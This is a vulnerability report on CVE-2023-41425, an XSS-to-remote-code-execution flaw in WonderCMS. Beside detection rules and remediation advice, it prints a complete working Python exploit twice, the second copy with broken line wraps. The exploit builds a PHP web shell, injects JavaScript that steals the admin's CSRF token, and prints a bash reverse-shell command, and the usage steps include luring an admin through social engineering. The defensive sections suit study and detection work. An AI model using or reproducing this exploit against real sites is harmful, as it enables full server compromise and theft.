CVE-2023-41425

Executive Summary

CVE-2023-41425 is a critical Cross-Site Scripting (XSS) vulnerability in WonderCMS versions 3.2.0 through 3.4.2. The flaw resides in the installModule component, allowing an unauthenticated remote attacker to inject arbitrary JavaScript into the admin panel. By chaining this XSS with a malicious module installation, an attacker can achieve Remote Code Execution (RCE) via a crafted ZIP file containing a PHP web shell. The vulnerability has a public exploit on Exploit-DB, and no official patch has been released by the vendor. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

Supply Chain & Package Security

WonderCMS is a flat-file content management system distributed as a PHP package. The vulnerability does not originate from a third-party dependency but from the core application logic. No known supply chain compromise has been reported, but the lack of a patch means all installations remain vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must visit a crafted URL)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact, including full server compromise.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the installModule functionality. The loginURL parameter is not properly sanitized, allowing an attacker to inject HTML and JavaScript. The exploit works as follows:

1. XSS Injection: The attacker crafts a URL containing a malicious <script> tag in the loginURL parameter. When an admin visits this URL, the script executes in the admin's browser context.
2. CSRF Token Extraction: The injected JavaScript extracts the CSRF token from the admin's session.
3. Module Installation: Using the stolen token, the script sends a request to ?installModule pointing to a ZIP file hosted on the attacker's server. The ZIP contains a PHP web shell.
4. Web Shell Access: The module is installed as a theme, making the web shell accessible at /themes/malicious/malicious.php?cmd=<COMMAND>.

The vulnerability is exacerbated by the lack of input validation and the absence of CSRF protection on the module installation endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS 3.4.2):

// In index.php or similar, the loginURL parameter is echoed without sanitization
echo '<form action="' . $_GET['loginURL'] . '">';

Patched Code (Hypothetical):

// Properly escape output
echo '<form action="' . htmlspecialchars($_GET['loginURL'], ENT_QUOTES, 'UTF-8') . '">';

Additionally, the installModule endpoint should require CSRF token validation and restrict module installation to authenticated users only.

Exploitation & Lab Setup

Red Team

The following exploit script automates the attack. It requires Python 3 and the requests and termcolor libraries.

Exploit-DB Code (CVE-2023-41425):

# Exploit Title: WonderCMS 3.4.2 - Remote Code Execution (RCE)
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2023-41425

import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
    parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.4.2 XSS to RCE", formatter_class=RawTextHelpFormatter)
    parser.add_argument("--url", required=True, help="Target URL of loginURL (Example: http://sea.htb/loginURL)")
    parser.add_argument("--xip", required=True, help="IP for HTTP web server that hosts the malicious .js file")
    parser.add_argument("--xport", required=True, help="Port for HTTP web server that hosts the malicious .js file")
    args = parser.parse_args()

    target_login_url = args.url
    target_split = args.url.split('/')
    target_url = target_split[0] + '//' + target_split[2]

    # Web Shell
    print("[+] Creating PHP Web Shell")
    if not os.path.exists('malicious'):
        os.mkdir('malicious')
        with open ('malicious/malicious.php', 'w') as f:
            f.write('<?php system($_GET["cmd"]); ?>')
        with zipfile.ZipFile('./malicious.zip', 'w') as z:
            z.write('malicious/malicious.php')
        os.remove('malicious/malicious.php')
        os.rmdir('malicious')
    else:
        print(colored("[!] Directory malicious already exists!", 'yellow'))

    # Malicious .js
    js = f'''var token = document.querySelectorAll('[name="token"]')[0].value;
var module_url = "{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token=" + token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''

    print("[+] Writing malicious.js")
    with open('malicious.js', 'w') as f:
        f.write(js)

    xss_payload = args.url.replace("loginURL", "index.php?page=loginURL?")+"\"></form><script+src=\"http://"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
    print("[+] XSS Payload:")
    print(colored(f"{xss_payload}", 'red'))

    print("[+] Web Shell can be accessed once .zip file has been requested:")
    print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>", 'red'))
    print("[+] To get a reverse shell connection run the following:")
    print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php' --get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\" ", 'yellow'))

    print("[+] Starting HTTP server")
    subprocess.run(["python3", "-m", "http.server", "-b", args.xip, args.xport])

if __name__ == "__main__":
    main()

Usage:

1. Run the exploit: python3 exploit.py --url http://target/loginURL --xip 10.0.0.1 --xport 8080
2. Send the generated XSS payload to an admin (e.g., via email or social engineering).
3. Once the admin visits the payload, the web shell is installed.
4. Access the shell: http://target/themes/malicious/malicious.php?cmd=id

Blue Team

Detection Steps:

1. Monitor for unusual installModule requests in web server logs.
2. Look for ZIP file downloads from external IPs to the /themes/ directory.
3. Check for unexpected files in /themes/ directory, especially PHP files.
4. Use the Sigma rule below to detect the XSS payload in HTTP requests.

Indicators of Compromise (IOCs)

• File: /themes/malicious/malicious.php
• URL Pattern: ?installModule=http://<attacker-ip>/malicious.zip&directoryName=pwned&type=themes
• Network: HTTP requests to attacker-controlled IPs for .zip and .js files.
• Log Entry: GET /index.php?page=loginURL?"></form><script+src="http://.../malicious.js"></script><form+action="

Detection Engineering

YARA Rule

rule WonderCMS_XSS_RCE_Exploit {
    meta:
        description = "Detects WonderCMS CVE-2023-41425 exploit artifacts"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-41425"
    strings:
        $js_payload = "installModule=http://" ascii wide
        $php_shell = "<?php system($_GET[\"cmd\"]); ?>" ascii wide
        $zip_header = "PK\x03\x04" ascii
    condition:
        $js_payload or $php_shell or $zip_header
}

Sigma Rule

title: WonderCMS CVE-2023-41425 XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects the XSS payload used in CVE-2023-41425 exploit
author: Valters IT
date: 2025-04-16
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'loginURL?"></form><script+src="http://'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert http any any -> any any (msg:"WonderCMS CVE-2023-41425 XSS Payload"; flow:to_server,established; content:"loginURL?"; http_uri; content:"</form><script+src="; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are recommended:

1. Upgrade: If possible, migrate to a supported CMS or apply a custom patch (see Vulnerable vs. Patched Code).
2. Input Validation: Sanitize all user input, especially the loginURL parameter.
3. CSRF Protection: Implement CSRF tokens on all state-changing operations.
4. Web Application Firewall (WAF): Deploy rules to block XSS payloads and suspicious installModule requests.
5. File Integrity Monitoring: Monitor the /themes/ directory for unauthorized file changes.
6. Least Privilege: Restrict admin access to trusted IPs and use strong authentication.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 7D2FDEF8060C3672532175B7] */}

# Exploit Title: WonderCMS 3.4.2 - Remote Code Execution (RCE)
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2023-41425

import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
    parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.4.2
XSS to RCE", formatter_class=RawTextHelpFormatter)
    parser.add_argument("--url", required=True, help="Target URL of
loginURL (Example: http://sea.htb/loginURL)")
    parser.add_argument("--xip", required=True, help="IP for HTTP web
server that hosts the malicious .js file")
    parser.add_argument("--xport", required=True, help="Port for HTTP web
server that hosts the malicious .js file")
    args = parser.parse_args()

    target_login_url = args.url
    target_split = args.url.split('/')
    target_url = target_split[0] + '//' + target_split[2]

    # Web Shell
    print("[+] Creating PHP Web Shell")
    if not os.path.exists('malicious'):
        os.mkdir('malicious')
        with open ('malicious/malicious.php', 'w') as f:
            f.write('<?php system($_GET["cmd"]); ?>')
        with zipfile.ZipFile('./malicious.zip', 'w') as z:
            z.write('malicious/malicious.php')
        os.remove('malicious/malicious.php')
        os.rmdir('malicious')
    else:
        print(colored("[!] Directory malicious already exists!", 'yellow'))

    # Malicious .js
    js = f'''var token =
document.querySelectorAll('[name="token"]')[0].value;
var module_url =
"{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token="
+ token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''

    print("[+] Writing malicious.js")
    with open('malicious.js', 'w') as f:
        f.write(js)


    xss_payload = args.url.replace("loginURL",
"index.php?page=loginURL?")+"\"></form><script+src=\"http://
"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
    print("[+] XSS Payload:")
    print(colored(f"{xss_payload}", 'red'))

    print("[+] Web Shell can be accessed once .zip file has been
requested:")

print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>",
'red'))
    print("[+] To get a reverse shell connection run the following:")
    print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php'
--get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT>
0>&1'\" ", 'yellow'))

    print("[+] Starting HTTP server")
    subprocess.run(["python3", "-m", "http.server", "-b", args.xip,
args.xport])

if __name__ == "__main__":
    main()